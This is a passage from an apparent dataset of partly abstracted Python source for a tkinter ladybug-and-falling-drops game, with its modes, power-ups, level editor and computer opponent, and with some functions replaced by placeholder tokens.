token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n 